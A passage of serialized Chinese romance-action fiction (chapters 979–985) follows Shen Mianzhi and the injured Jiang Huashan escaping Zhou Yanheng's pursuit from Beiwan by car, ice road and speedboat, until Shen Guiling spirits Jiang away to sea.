周宴珩还站在那里。 风雪掠过他额前的黑发,那双眼睛掀翻了暗涌,好似有猛兽在苏醒。 沈眠枝一眼就看穿了周宴珩被撩拨的情绪。她面无表情地移开视线,将染血的指尖含入口中,下一秒—— 一声清越锐利的口哨,突兀地穿透风雪,在寂静的庭院中回荡,带着某种不容置疑的召唤意味。 几乎在哨音响起的同一瞬间,榆园各处阴影中,那些原本被周家保镖牵制住的人影里,悄无声息地分出数道迅捷身影。 所有人几乎不约而同迅速向沈眠枝所在的位置靠拢。 直到此刻,她才真正开始动用属于“沈眠枝”自己的力量,而非“为爱痴狂的沈大小姐”的虚张声势。 做完这一切,沈眠枝低下头,看向怀中的姜花衫,眼中的冰冷瞬间消融,化作一片温缓而坚实的柔光。 她小心翼翼地调整姿势,避开了姜花衫脸颊的伤口,手臂穿过她的膝弯与后背,稳稳地将人打横抱了起来。 动作看似轻柔,却带着坚定不移的力量。 “辛苦了,接下来的事就交给我吧。我们……回家。” 北湾是周家的地盘,即便她带来了暗堂的精锐,但在周家地盘反杀周宴珩基本是不可能的, 所以回鲸港才是明智之举。 周宴珩的目的已经达到,他也是个聪明人,这个时候没必要紧咬着她们不放。 至于今天这笔账,以后她会一笔一笔讨回来。 “大小姐!” 扑克带领暗堂精锐赶到窗下,见沈眠枝狼狈姜花衫受伤,脸色微变,立马上前接手。 “不用。”沈眠枝手臂微微一侧,避开了他的手,“带路。谁敢阻拦,杀出去。” 扑克微怔了一下,神色瞬间凝固,转身与另外几名精锐使了个眼色。 一群人默契地变换队形,形成前后左右四个方位的严密护卫圈,将沈眠枝和姜花衫护在中心。 沈眠枝没有回头,抱着姜花衫走进了风雪里。 * 二楼窗口,周宴珩依然未动,静静目送着一群人在他的眼皮子底下撤离。 风雪模糊了他的眉眼,却让那双深眸中的暗涌显得更加莫测。 半晌后,他缓缓抬手,指尖攀上窗台,轻轻敲击了两下。 “少爷!” 房门敞开,周助匆匆走了进来,见周宴珩立在窗台不动,小心翼翼开口:“沈家人准备撤退了,是否按原计划执行?” 周宴珩指尖轻抬,悬在半空。 北湾又开始下雪了。 风雪灌入窗内,扑打在他脸上,带来细微的刺痛,却未能让他移动分毫。 漂浮的鹅毛逐渐掩盖了地上的血渍,可纵使痕迹被掩埋干净,刻入灵魂深处的记忆怎么也抹除不掉。 姜花衫坠落后平静回望的眼神,还有她高举双手、以一种极其刁钻的角度解下锁扣的画面,反复交织,在他脑中拉锯,最终拧成一股不容置疑的冲动。 -“你猜,我为什么留着这个?” 忽然,周宴珩眼底动荡不安的暗涌顷刻平息。 他改变主意了。 “周助。” 正要退出的周助身形一顿,立刻转身:“少爷?” 周宴珩转身,大步流星地走过他身侧,“通知下去,调动北湾所有人手,封锁通往鲸港的所有要道。不惜一切代价,把人留下。” * 暗堂的车队碾过覆雪的道路,沉默而迅疾。 沈眠枝抱着姜花衫,用干净的纱布按住她脸颊的伤口,动作轻柔却稳定。 姜花衫这半个月每天绞尽脑汁,图谋到这一步已经耗费了所有心力,确认沈眠枝自由后,她安心睡了过去。 车内暖气充足,与窗外风雪呼啸恍如两个世界。 突然,坐在前排的扑克脸色微变,迅速转头低声道:“大小姐,后方有车追上来了,速度很快。看样子应该是周家的人。他们现在距离我们不到三公里,而且不止一辆,有包抄的意图。” 车内空气骤然一凝。 沈眠枝微微眯眼。 消息都已经泄露了,这个时候周宴珩再强行留人可不是明智之举。 她低头看了姜花衫一眼,一下明白过来,周宴珩只怕是后悔了。 但现在的局面,可不是他后悔就有用的。 “这里是他们的地盘,他们比我们更熟悉地形。” 沈眠枝略一沉吟,语速快而清晰:“通知前车,改变路线,不上主路走外郊。那条路岔口多,路面窄,他们的车优势发挥不出来。” “是!”扑克立刻传达指令。 下一秒,车队立刻在前方路口一个急转,车轮碾过积雪发出沉闷的声响。 * 与此同时,一辆黑色越野车如同脱缰的猛兽,扎进在茫茫风雪之中。 周宴珩坐在驾驶位,双手稳握方向盘,侧脸线条绷紧,下颌线犹如刀削。 车内暖气未开,冰冷异常,却压不住他周身散发的沸腾与专注。 周助一手紧紧抓着车顶扶手,语速因为车辆的颠簸和紧张而有些不稳:“少爷,他们改变路线了,看样子是想利用边郊的地形绕出北湾。” “她们跑不了。”周宴珩一脚油门踩死。引擎发出沉闷的低吼,车速再次提升,车轮在积雪覆盖的旧道上甩出弧形的雪浪。 周助赶紧捂着嘴,心如死灰看着前方。 突然! 前方迎面射来一道刺眼的白光。 一辆黑色轿车如同闪电般穿梭在雪色中,车头直接对准了他们! “少爷小心!”周助的惊呼骤然拔高,几乎破音。 电光石火间,周宴珩瞳孔骤缩,立马松开油门,急转方向,以几乎神级预判控制住了刹车。 轮胎在积雪路面上发出凄厉的尖叫,车身剧烈侧滑、甩尾,划出一道惊心动魄的弧线。 “避……避开了?”周助心有余悸拍着胸口,还没等他晃过神…… 对面的车灯再次亮起,车头仅以毫厘之差偏转,对准了他们最脆弱的车身中段! “轰——!!!” 第二次撞击,结结实实,沉闷到令人心脏骤停。 巨大的冲击力让车身离地,横空撞飞了出去。 周宴珩感觉到自己被一股无可抗拒的蛮力抛离地面。 下一秒,视野疯狂旋转,天空、雪地、扭曲的金属与破碎的灯光在眼前混乱交织。 安全气囊爆开的闷响,玻璃碎裂的炸音,金属被撕扯扭曲的呻吟,还有自己身体被安全带勒紧又重重砸在椅背上的钝痛,所有声音和感觉混杂在一起。 “哐啷——轰隆!” 车辆在空中翻滚了半圈,重重侧砸在积雪深厚的路面上,又因为惯性继续滑行,车顶与地面摩擦,发出令人牙酸的金属刮擦声,火花在雪地与黑暗间迸溅了一瞬,最终被一丛枯硬的灌木和堆积的雪垄勉强挡住,彻底不动了。 肇事的那辆黑色轿车同样损毁严重,车头彻底凹陷,冒着白烟,静静横在几米开外。 车内一片死寂,毫无声息,唯有一双漂亮的瑞凤眼闪着凶光。 …… 第980章 执念萌芽 风雪骤停,世界仿佛陷入一种诡异又嗡鸣的寂静。 “咳咳……” 周宴珩被倒悬在变形的驾驶舱内,安全带勒得他几乎窒息,额角温热的液体流下,瞬间模糊了视线。 “少爷,您……您没事吧?”耳边传来周助微弱的呻吟。 周宴珩咬着牙,用未受伤的右手摸索到安全带的卡扣,用力按下。 他闷哼一声,吐出半口带着铁锈味的浊气。 这不是沈眠枝的安排。她或许会断后,但绝不会用这种近乎毁灭的极端方式。 这狠劲,倒是似曾相识。 “少爷!” 这时,后方被周宴珩甩开的支援车辆终于赶到。众人见现场车辆损毁严重,还冒着火星,无不倒抽一口冷气。 “快!救人!” 周宴珩是周家独苗,要出了什么事谁也担待不起。 一群人严阵以待,用工具暴力撬开变形的车门,小心翼翼地将周宴珩从驾驶位里拖了出来。 周助心力交瘁,被救出来后直接晕了过去。 周宴珩被手下搀扶着站定在雪地里,眼神阴鸷地看向眼前的黑色轿车。对方车里始终没有任何动静,静得像一座铁棺。 “去看看那辆车。”他声音沙哑。 两名手下立刻持械,谨慎地靠近黑色轿车。 车窗早已碎裂,他们用手电向内照去,驾驶座上,空无一人。 “少爷,车里是空的!”一名手下回头喊道,声音里带着困惑与警惕。 另一名手下则更细致地观察着车辆周边。 突然,他的光束定格在离驾驶座车门约两三米外。 “那边有脚印!他跑了!” 周宴珩在手下的搀扶下,忍着剧痛和眩晕,一步步走近那片雪地。 眼看着那行间隔几乎一致的脚印,周宴珩眼神阴鸷得能拧出水来。 凶手不是跑的,是光明正大走的。他留下这串脚印,无非是在嘲讽他。 “给我追!” “少爷!不能再追了!”手下见他脸上都染满了血雪还不肯放弃,急得额头冒汗,“您伤得不轻,左臂需要立刻固定,头上也一直在流血!现在必须去医院……” “我让你们继续追!听见没有!”周宴珩充耳不闻,死死看着风雪之外的尽头,眼神明显有些魔障了。 手下们面面相觑,眼看着僵持不下,一名负责通讯的手下忽然脸色一变,按着耳麦急促说道: “少爷!刚刚接到回报,郊外小路,大约五公里处,路边老柘树林……被人动了手脚!” “你说什么?”周宴珩呼吸一窒,只觉心口痛得厉害。 “所有靠近路边的柘树,被人从根部锯断了!横七竖八堵死了整条路!树干又粗又硬,枝杈带刺,清理起来极其困难。粗略估算,至少一个半小时才能清出勉强通车的空隙。” “……” 周宴珩的脚步终于停住。 他闭了闭眼,再睁开时,利落转身,用未受伤的右手抹去额角的血。 温热的血渍划过冰凉的指尖,滴落在雪地上,绽开一小朵刺目的红。 “你,拦不住我的。” 他轻声细语,也不知道在跟谁说话。 …… 第981章 转机 车内暖气十足,一窗之隔的玻璃上透着雾气和冰晶。 沈眠枝保持着环抱姜花衫的姿势,背脊挺直如松,低垂的眼睫下覆着一层淡淡的浅影。 姜花衫昏睡在她臂弯里,脸颊伤处的纱布渗出极淡的粉色,安心得不像话。 沈眠枝莫名觉得心安,她好像永远跟别人不一样,永远都不知道怕。 扑克驾驶着车辆,眼神高度警惕。忽然,耳麦传来声响,他紧绷的下颌线几不可察地松了半分。 “大小姐,后方眼线传信。我们三分钟前经过的旧道岔口,路边那片老柘木林出事了,所有树忽然全部倒伏在路上,彻底封死了来向。依照这个情况看,周家的人一时半会儿追不上了。” 车内静了一瞬。 沈眠枝将视线投向车窗外,车窗玻璃上映出她平静无波的侧脸和被积雪温柔掩埋的旷野。 天底下哪有这么凑巧的事? 沈眠枝的目光重新落回姜花衫脸上。 难不成除了她,衫衫还另外安排了后手? 罢了,如果真是同盟,后面的路自然会遇上。 沈眠枝眼神一凝,语气斩钉截铁:“北湾是周家的地盘,我们只是暂时甩掉了尾随的车队。周宴珩手里能动用的资源,绝不止明面上这些人。他若铁了心要拦,方法多的是。” 扑克神情重新绷紧:“大小姐的意思是?” “告诉所有人,不要放松警惕。保持最高戒备,按照备用路线继续前进。联络我们在鲸港边界的所有暗桩,启用应急通道,确保我们踏入鲸港地界之前,每一步都有人在前面扫清障碍。同时,监测所有异常频率和动向,尤其是来自周家控制区域的。” 沈眠枝垂眸,再次看向怀中安睡的姜花衫,声音低了下去:“记住!在踏入沈家大门之前,每一步都还是战场。” “是!” 扑克的应答刚落,指令尚在加密频道中传递,车队最前方的头车突然传来急促的警示: “注意!前方有情况!约五百米处,横向路口,出现不明车队拦截!数量……至少四辆,呈扇形堵死了主路和两侧岔道!” 沈眠枝猛地抬眼看向前方。 扑克几乎同时踩下刹车,车队在雪地上划出数道深浅不一的痕迹,险险在距离对方拦截阵型百米外停下。 车灯刺破雪夜,照亮了前方横亘的路障。 四辆黑色越野车如同沉默的巨兽,一字排开,将并不宽阔的旧道彻底封死。 车灯熄灭,车身隐在黑暗与雪幕中,只有轮廓散发着不容置疑的压迫感。 没有周家的标识,没有声响,静默得反常。但出现在这个时间、这个地点,其来意不言而喻。 “大小姐,怎么办?冲过去还是绕行?”扑克的手已按在腰侧武器上,声音紧绷如弦。 后方车辆也迅速调整队形,进入防御状态。 沈眠枝快速扫视前方地形。 旧道两侧是覆雪的深沟和密集的枯树林,强行冲撞或越野绕行风险极大,且极易落入被动。对方选择在这里设卡,显然对地形了如指掌。 就在局势陷入僵持时,对面带头越野车的副驾车门突然打开。 一道身影利落跳下车。 是个年轻女郎,穿着红色的羊绒大衣,在雪地里甚是扎眼。 她未戴帽,长发在寒风中飞扬,从容举起双手,慢慢向暗堂车队靠近。 车灯照亮她半边脸颊,嘴角的笑意淡定得不像话。 沈眠枝眼神微动。 安佳妮。 南湾安氏船业的继承人。 一年前,姜花衫十八岁生日宴,沈庄宴请了四湾所有贵族,沈眠枝对这个安佳妮还有几分印象,故而一眼就认了出来。 只是,北湾不做南湾的生意,她怎会在这里? 沈眠枝不由想起了刚才伐木断路的手笔,眼眸微眯:“下去问问,这位安小姐想做什么?” 扑克领命下车,两人在距离车队三十米处站定,简短交谈过后,扑克转身折回。 “大小姐,这位安小姐说,周家已经在前方二十公里内所有大小路口设了临时关卡,至少有四队人马埋伏在必经之路上,等着我们自投罗网。她建议我们立刻改道。” 改道? 沈眠枝沉吟片刻,神色不变:“请她过来。” 扑克转身朝安佳妮打了个手势。 安佳妮会意,不紧不慢地走上前来。 沈眠枝没有下车,只将车窗降下半扇,眸色冷沉:“安小姐建议我们改道?怎么改?” 安佳妮微微一愣。 此前她曾在姜花衫的生日宴见过这位沈小姐,犹记得她给人的感觉宛若春风拂面,怎么一会儿就变成冰雪女王了? 她不敢怠慢,微微弯下腰:“前面所有能走车的路,周家都摆了钉子。硬闯代价太大,绕远时间不够。” 说着又偏头示意东南方向,“走老河道的冰面。现在这个时节,中间主流冰层不稳,但靠岸的洄水湾和部分浅滩区域,冰积得厚,能过车。” “冰面?”沈眠枝垂眸,似在考虑方案的可行性。 “对。”安佳妮点头,“河道蜿蜒,能绕过至少三个主要公路关卡。从‘北湾荡’那片浅滩上岸,离西湾界碑只有不到五公里,那边地形杂,顾家人说了算,周家的人布防不到。” 沈眠枝目光微闪。清予哥才收复顾家,去那的确胜算会大一些。 但眼下还有个问题,她们没有船。 北湾港口的船一定都被周家控制了,要从北湾渡海去西湾,必须有船才行。 她沉默片刻,将窗扇彻底放下,掀眸打量着安佳妮:“你有船?” 安佳妮闻言,唇角笑意加深:“沈小姐好聪明。是,我有船。两条中型快艇,吃水浅,能破薄冰,就泊在北湾荡东南角的芦苇汊里。” 见沈眠枝还在思考,她立马又补充道,“船是我的私产,船员是我从南湾带过来的老人,嘴紧,手稳。沈小姐可以放心。” 沈眠枝不语,睇睨了她一眼,忽然话锋一转:“什么人派你来的?” 从刚刚她就已经发现,安佳妮的眼神不止一次瞥向她怀里的姜花衫。 这么重要的事,但凡是苏妙出现她都不会起疑,但仅仅凭一个南湾安氏还不足以让她取信。 安佳妮此刻也感受到了这位沈小姐的严谨,立马从大衣里掏出一台定位器:“少爷说的果然没错,沈小姐可不好忽悠。” 定位器掏出的瞬间,显示屏幕的红点剧烈闪烁。 沈眠枝立马接过定位器,低头看向怀里的姜花衫,忽然想到什么,眼神少了几分戒备:“你说的少爷是?” 安佳妮松了一口气:“沈归灵,沈小姐应该不陌生吧?” …… 第982章 防火防盗防沈归灵 为了取信沈眠枝,安佳妮坐上了沈家的车亲自带路。 车轮碾过最后一段覆雪的河滩,碾断枯苇,车身微微一沉,彻底离开了冰面。 抵达目的地时天已经黑了。 “沈小姐,我们到了,准备登船吧。” 此时,渡口岸已经静静等候着一群人。 约莫七八人,清一色的深色劲装,沉默地立在寒风中,如同水边生长出的另一丛黑色芦苇。 当车队刺目的灯光横扫过去时,为首那人似乎被惊动,微微侧头看了过来。 那是…… 虽然对方戴着黑色面具,但那双眼睛的风采可不是轻易能遮掩的。 沈眠枝心里悬着的那口气终于落了地。 她小心地调整姿势,将怀中的姜花衫稳稳抱起,跨出车外。 “阿灵哥!” 沈归灵取下脸上的面具,快步迎了上去。 “伤哪了?” 他问得很随意,甚至感觉不到有什么情绪起伏,但手里的动作却一点不含糊,没等沈眠枝反应过来,就从她手里把人接了过来。 感受到怀里的馨软,弯曲的臂弯不觉又收拢了几分。 他们几个一起长大,沈园里的人都偏爱姜花衫几分,沈眠枝并未察觉到什么不妥,目光警惕地环顾了一圈:“阿灵哥,趁周宴珩现在还没反应过来,咱们赶紧走吧!” 沈归灵这才将目光从怀中人脸上移开,简短下令:“清点人数,三分钟内全部登船。安佳妮,带你的人负责断后,处理岸上痕迹。” “是,少爷。”安佳妮利落领命,转身便去安排。 沈归灵又转头看向沈眠枝,条理清晰:“枝枝,你带上暗堂的人在前面开道。注意航道,避开可能的水面巡逻。我的船上有医生,我先带衫衫处理伤口,我们紧随其后。保持通讯,有任何情况立刻通报。” “好。”沈眠枝见一切井然有序,心中稍安,立刻对扑克挥手:“照阿灵哥说的做,快!” 暗堂精锐训练有素,迅速有序地登上了另一条稍大的快艇。 扑克最后检查了一遍岸上车辆,确认没有遗漏重要物品或痕迹,才快步跟上。 沈归灵抱着姜花衫,头也不回地进入舱内。 三分钟后,两条快艇先后解缆,引擎声加大,犁开薄冰,朝着开阔的水域疾驰而去。 沈眠枝站在船头,紧盯着前方被船灯照亮的航道和漆黑的水面,手中握着通讯器,随时准备与后方联系。 航行约二十分钟后,沈眠枝习惯性回头确认后方船只跟随情况,心头猛地一凛。 不见了! 按照预定航线,他们应该沿着这条相对隐蔽的支流驶向主河道,再折向西南进入西湾水域,可现在身后只有漆黑的水面…… “扑克!”沈眠枝立刻转身,声音紧绷,“后面的船呢?什么时候跟丢的?” 扑克愣了愣,意识到了问题严重,疾步走到船尾观察,脸色难看:“五分钟前还能看到尾灯闪烁,应该是刚刚那个河湾,他们……好像没有跟上来。” 没有跟上来? 是遭遇意外,还是……主动脱离? 沈眠枝一时拿不准,立刻将通讯器调到与沈归灵约定的专用加密频道:“阿灵哥!你们在哪?是不是遇见什么意外了?” * 另一边。 舱内光线昏暗,只有一盏壁灯投下暖黄的光晕。 姜花衫侧身躺在临时铺设的毛毯上,脸颊贴着洁净的纱布,长发散乱,呼吸清浅。 虽然少了平日灵动狡黠的神采,但也平添了几分不设防的破碎感。 沈归灵单手托腮,半跪在床榻边,悬停的指尖在姜花衫的鼻尖点了点。 “喂?阿灵哥?你听见我说话了吗?” “没有意外。” 沈归灵懒懒应了一声,指尖顺着鼻尖落在饱满的唇珠上,手上的动作配着眼里的缱绻,眸光说不出的晦涩:“小别胜新婚,我们要过二人世界。” “嘟——” 通讯被中断。 * 小别……小别什么? 二……二人什么? 沈眠枝一双滟潋生辉的小鹿眼瞬间变成两颗黄豆粒。 扑克见状,还以为是出了什么事,脸色凝重:“大小姐,他们是不是出事了?我们该怎么办?” “可恶!”沈眠枝不自觉收拢指尖,骨头嘎嘎作响。 防火防盗防沈归灵,枉她这一路费尽心思小心翼翼,还是着了他的道。 半路抢人,也太不要脸了! 扑克咽了咽唾沫,默默往后退了一步:“大……大小姐?” 这个时候转头未必能追上人,还有可能被周家的人发现。沈归灵全身上下八百个心眼,一定能护衫衫安全。暂且先回鲸港通知爷爷。 沈眠枝咬牙:“全速前进,去西湾!” * 翌日,晨光熹微。 冬日的阳光带着一种清透的乏力感,从游艇弧形的舷窗斜斜照入,在柚木地板上投下几块晃动的、暖金色的光斑。 床榻上的人眼睫颤了颤,缓缓睁开。 “这是……” 姜花衫的意识回笼,抬手摸了摸脸颊的伤口,已经上了药,但还是有轻微的刺麻感。 她撑着身体慢慢坐起,不动声色地环顾四周。 房间很干净,床边的矮几上放着清水、药品,还有一套干净柔软的女士衣物。她皱了皱眉,低头看着自己,这才发现身上的衣服不是出逃时的那一件。 “……” 姜花衫没有惊慌,沉默片刻,闭了闭眼:“沈归灵!你给我出来!!!” 话音刚落,房门被无声地推开。那人站在逆光的阴影里,眸光带着缱绻。 “你怎么知道是我?” …… 第983章 我还你一次 怎么知道的? 她全身上下的衣服都换了个遍,身上还有淡淡的橙花香气。 周宴珩没这胆子,沈眠枝或许会换衣服,但是逃亡的路上哪会有闲情逸致给她用身体乳? 姜花衫伸手,面无表情地露出一截嫩白的胳膊,讨伐的意味不要太明显。 沈归灵一脸无辜,佯装以为她要牵手,顺其自然地拉起她的手放在手心把玩。 “睡了一天了,饿不饿?要不要吃东西?” 姜花衫哪会不知道他装傻充愣,侧过身,举起另外一只手凑近沈归灵的鼻尖。 沈归灵见她不依不饶,压低了眉梢,用鼻尖点了点她的手腕,笑着解释:“你昨晚出虚汗,我担心你感冒才帮你换的衣服。” 临了又加了一句废话:“你放心,我一直闭着眼睛,什么都没看见。” “……” 姜花衫一直都知道他打蛇上棍的本事,一把抽回自己的手,抬眸逡巡了一圈,故意转移话题:“这是哪里?枝枝呢?” 沈归灵眼神微闪,不动声色避开她的目光,“我们在公海,枝枝……她先回西湾了。” “回西湾了?”姜花衫微愣,有些意外,“她先走了?这怎么可能?” 还没等沈归灵回答,姜花衫立马又察觉出了一个更大的问题,眉头微蹙:“你刚刚说这里是公海?我们出了A国境内?!” 沈归灵生怕把她惹毛,立马解释:“周宴珩动了北湾所有势力,未免目标太大,我们和枝枝兵分两路撤退。我已经提前通知了沈清予,枝枝那边一定会安全抵达。至于我们,从北湾入公海,再从公海转回鲸港,这样才更万无一失。” 从姜花衫计划去云乡那刻她就知道,云乡的事一定会闹大。 以沈归灵的能力,很快就会在白家站稳脚跟,他站稳脚跟的第一件事必然是回来找她。 所以为防止沈归灵打乱她的计划,她故意在床头留下只有他们两人才懂的信号。 她一开始就计划了在北湾完成与沈眠枝的共创剧目,但北湾是周家的地盘,解开了命运的枷锁后,如何全身而退就变成了关键所在。 因此这个信号不仅仅是定位那么简单,更是在提醒沈归灵,这是她提前布好的局,如果他要想进局,不能搅局。 好在沈归灵有最强大脑,他们联盟这么久,他每次都能猜中姜花衫想做什么,这次也是潜伏到了最佳时机才现身。 所以,沈眠枝并不是姜花衫撤离北湾的最后底牌,沈归灵才是。 这也是为什么,她一点都不惊讶沈归灵出现的原因。 不过! 这家伙的解释总让她觉得有蹊跷。 姜花衫乜眼打量他,“就这么简单?” 沈归灵摇头,拉着她的手,毫无顾忌地对着她使用“魅惑”之术:“当然没这么简单,我有私心的……我想和你单独相处。” “……”姜花衫向来对这种明晃晃的顺毛摸没有抵抗力,为了稳住“塘主”的地位,她双手抱胸,一脸傲娇,“谁要跟你单独相处?我原谅你了吗?叛徒!” 沈归灵一直知道自己突然离开对她缺少一个交代,他这次回来就是想交代的。 所以当姜花衫再次提起这个话题,他没有回避,主动认错:“这件事是我不对,答应你的事没有做到,对不起。” 姜花衫微愣,她原本就是随口一说。 其实,她知道沈归灵为什么会走,也知道在那样的大局下,沈归灵的离开是对沈家最好的选择。 她一开始有情绪是觉得被背叛了,但后来随着认知提高,她已经和自己、和沈归灵和解了。 事情过去这么久,她现在已经不需要沈归灵来哄她了,也不需要他的道歉。 因为,她明白了一个道理:背叛承诺的人,或许承受了更多。 沈归灵小心翼翼地试探,见她没有反抗,才又拉住她的手,垂眸落在她侧脸的纱布上。 “我知道,以你的聪明一定能自己想通。但你不用这么大度,这件事就是我错了。我答应你,我一定会还你一次。” 姜花衫心头一悸,抬眸看着他,“这种事怎么还?” 沈归灵牵起嘴角,抬手摸了摸她的头,“你也可以背叛我一次,我答应你,不管怎么背叛,我都会自己想通。” “……” * 冬日清晨的西湾码头,寒气裹挟着咸湿的海风扑面而来,天空是那种灰蒙蒙的铅色,压得很低。 泊位旁,数盏高功率照明灯将这一小片区域照得亮如白昼,却也衬得灯外更远处的海面愈发漆黑。 沈清予穿着一件黑色的长款大衣,领口随意敞着,露出里面深灰色的羊绒衫,脸色算不得好看。 顾赫远远看见船影,立马上前报告:“少爷,来了!” 引擎的轰鸣由远及近,一艘快艇劈开墨黑的海水,朝着码头疾驰而来,船头灯光刺破晨雾。 沈清予眯了眯眼,插在口袋里的手抽了出来,快步走向岸边。 快艇利落地靠岸,缆绳抛出,被码头上的保镖迅速固定。 舱门打开,沈眠枝第一个跨上岸。 她脸色有些疲惫,眼底带着血丝,目光在和沈清予交汇后,明显松了口气,“清予哥!” 沈清予抬手托住沈眠枝上岸,目光越过她看向身后,没看见心心念念的人,眉头几不可察地蹙起,“怎么只有你一个人?小花儿呢?” 说到这,沈眠枝也是一肚子的火。 但这件事关乎姜花衫的名声,在没弄明白姜花衫是怎么想的之前,她不打算随便透露。 沉默片刻,她缓和了脸色才道:“周家人追得紧,阿灵哥担心目标太大容易走漏风声,所以我们分头撤离了。” 沈清予原本还算平静的表情瞬间凝固,狭长的凤眸倏然眯起,“你是说……沈归灵那个狗逼把小花儿拐走了?” 这反应…… 沈眠枝忽然有种不好的预感,眼皮直跳,“清予哥,难不成……你……你也……” “也什么?”沈清予脸色阴沉,睨眼打量沈眠枝,“怎么?你跟那狗逼是一伙的?帮着他诓骗我?” 沈眠枝:“……” 沈眠枝被沈清予这带着戾气的诘问噎得一滞,还没来得及解释,一阵甚嚣尘上的引擎轰鸣声由远及近,打破了码头紧绷的气氛。 所有人下意识地转头看向码头入口的方向。 只见数辆军绿色的越野车和运兵卡车冲破晨雾,疾驶而来,轮胎碾过码头粗糙的水泥地面,稳稳停在了沈清予布置的警戒圈外围。 车门齐刷刷打开,跳下数十名臂章上带有特殊编号的士兵。 他们动作迅捷无声,瞬间散开。一时间,一股肃杀铁血之气弥漫了整个码头。 高止透过前窗,贼头贼脑地打探了一番,见沈眠枝也在,立马安了心。 他取出作战眼镜戴上,“哐当”推开车门,摆出一副公事公办的样子:“姜小姐,云乡酒店失踪案现已由313师全权接管,请您跟我们走一趟。” 又来一个抢人的。 沈兰晞倒是敢,还真是一点都没把他放在眼里。 “嗤~”沈清予冷哼了一声,阴阳怪气道:“睁大你眼睛好好看清楚,这哪有姜小姐?” “哦!对了!”沈清予忽然想到什么,瞥了沈眠枝一眼,“没有姜小姐,还有个沈小姐。这位沈小姐知道的也不少,抓回去配合调查吧。” 沈眠枝:“……” “哈?”高止愣了愣,立马摘下眼镜,两个1.5的视力往人群里转了一圈。 搜索无果后,想起沈兰晞的交代,轻咳了一声,立马摆出一副看透不说透的算命大师模样:“清予少爷,您还是老实把人交出来吧。少爷最近心情不好,您还是别自讨苦吃。” “我会怕他?!”沈清予正要放狠话,忽然想到不能便宜了沈归灵那个狗逼,咬了咬牙,指着一旁的沈眠枝,“人不在我这,不信你问这叛徒!” 他原本是想揭发沈归灵的,但立马又意识到313师受令于A国总局,未免事情闹大,只能隐晦提醒高止把沈眠枝带走审问。 沈眠枝:“……” 高止眯眼,看了看沈清予,又看了看沈眠枝,目光反复横跳之后,转身掏出手机: “歪?!少爷,眠枝小姐帮着清予少爷把人藏起来了,请少爷指示!” …… 第984章 摔的没有,打的有 云乡。 路迦的尸体送回总局后,军部高层上下震怒,誓要为路迦讨一个说法。 由于军机总部不断施压,又牵扯到国家级元勋,A国政局不得不妥协,连夜改令,云乡事件交由313师亲自调查,沈兰晞为此次案件的总指挥官。 此时的指挥室,屋里只亮着一盏冷白的台灯,桌面密密麻麻铺满了大大小小文件的。 高止站在桌侧前方,目不斜视,腰身挺直,嘴角红肿,脸上还带着几处明显的青紫淤痕。 姿态虽有些滑稽,却绝不失高冷。 “这么说,衫衫现在和沈归灵在一起?”沈兰晞坐在桌后,身体微微后靠,隐在灯光的阴影里看不清具体神色。 沈眠枝就坐在沈兰晞对面的椅子上,因为之前已经在沈清予面前已经吃过一次亏,这次不敢掉以轻心,一句修饰都没有点了点头。 沈兰晞:“沈归灵有说什么吗?” 沈眠枝不着痕迹避开沈兰晞的目光。 她一时拿不准到底有几个人知道内情,再加上沈归灵放的都是虎狼之词,沈兰晞又是他们几个里最重规矩的,万一说不好她担心会连累姜花衫。 细细斟酌片刻后,沈眠枝违心道:“别的没说什么,就说是分头行动更安全,让我先来找清予哥。” 沈兰晞的视线在她脸上停留了两秒,似乎在判断她有无隐瞒或偏袒。 沈眠枝早在周宴珩那里打磨出了影帝级水平,一脸坦荡地迎上沈兰晞的目光:“兰晞哥,我看阿灵哥也没有恶意,要不是他暗中帮助,我也没那么容易脱险,依我看,说不定衫衫也很快就回来了。” 很快回来? 沈兰晞眸底不由冷了几分,进了狼窝,哪有快的道理? 因军务在身,这段时间他一直都在云乡。 虽然他本人被困,但不代表他的势力没有作为。 姜花衫消失之后,他在第一时间锁定了周家,原本他猜测是周国潮的手笔,所以他一直盯着鲸港的方向。 后来周国潮回港后,一直在政要高层游走,反而是周宴珩迟迟不归,他便立刻反应过来,自己追查的方向错了。 因为错过了最佳的营救时机,他的人赶到北湾时,周家榆园一夜之间被烧了个精光,不仅是姜花衫,连沈眠枝都再次失联。 但幸运的是,沈家暗堂撤退时一路都留下了信号。沈兰晞跟踪这条线,推测沈眠枝和姜花衫应该是找到船,转渡去了西湾。为了第一时间抢到人,他连夜调令高止带领一个营的人马直取西湾。 原本以为万无一失,没想到还是被人捷足先登了。 沈兰晞心情不算好,但也没有迁怒别人的习惯。 沉默片刻,他缓和了口气:“你这一路也辛苦了。云乡的事没那么简单,你在北湾的所见所闻,说不定对案情有帮助,暂且先留几天。今天很晚了,你先回去休息。爷爷和你父亲那边,我已经提前报了平安,不用担心。” 沈眠枝暗暗松了口气:“谢谢兰晞哥。” 等人退出房间,假装雕像的高止一秒复活,阴恻恻地凑上前:“少爷,她骗您!她绝对和沈归灵暗中勾结了!” “……”沈兰晞沉默了一秒,抬眸,面无表情地看着他:“脸上的伤谁打的?” 还能是谁! 他刚汇报完情况,转头就被沈清予和沈眠枝混合双打。要不是怕还手把他们打死,他才不受这鸟气。 内心澎湃之后,高止风轻云淡:“我不小心摔的。” 见沈兰晞没有再追问的意思,他清咳了一声,小心试探:“少爷,这是不是也算工伤啊?有没有津贴补助啊?” 沈兰晞:“摔的没有,打的有。” 高止:“……” …… 第985章 找点乐子 A国对岸,三不管公海。 凛冬已然被彻底抛在身后,天空湛蓝,阳光炽烈而慷慨,海面浮动着碎钻般的光斑。 一艘白色游艇静静停泊在海面上。 甲板上撑着一把巨大的波点阳伞,姜花衫戴着一副宽大墨镜,长发松松挽起,姿态闲适地靠在躺椅上。 她手中握着一根钓竿,身旁小几上,搁着一杯插有小伞的草莓汁,语气十分不耐: “这都钓了半天了,到底有没有鱼啊?” “别动。” 沈归灵一手轻托住她的下颌,微微俯身,专注地处理她脸颊上那道淡淡的细痕。 阳光落在他低垂的睫上,落在冷白的肤色上渡着一层暖暖的金光。 姜花衫不在意地摆了摆手,“哎呀别管了,过两天就好了。鱼呢?!来的时候不是说保证能钓到鱼吗?” 她拥有一次死亡豁免权,即便伤及颜面,也不至毁容。 倒是沈归灵二十四小时盯着这伤口,她生怕愈合太快吓着他。 沈归灵瞥她一眼,慢条斯理地收拾医药箱,“你才刚刚放饵。” “已经过去三分钟了!!!” * 与此同时,湛蓝海面之下,却是另一番光景。 几名背着鱼篓的身影正在游艇附近游荡,他们本是称霸一方的海盗头目,此刻却只能头顶探照灯在这汪洋里“大海捞针”。 找到了! 其中一人赶忙比划手势,另两人迅速凑近。 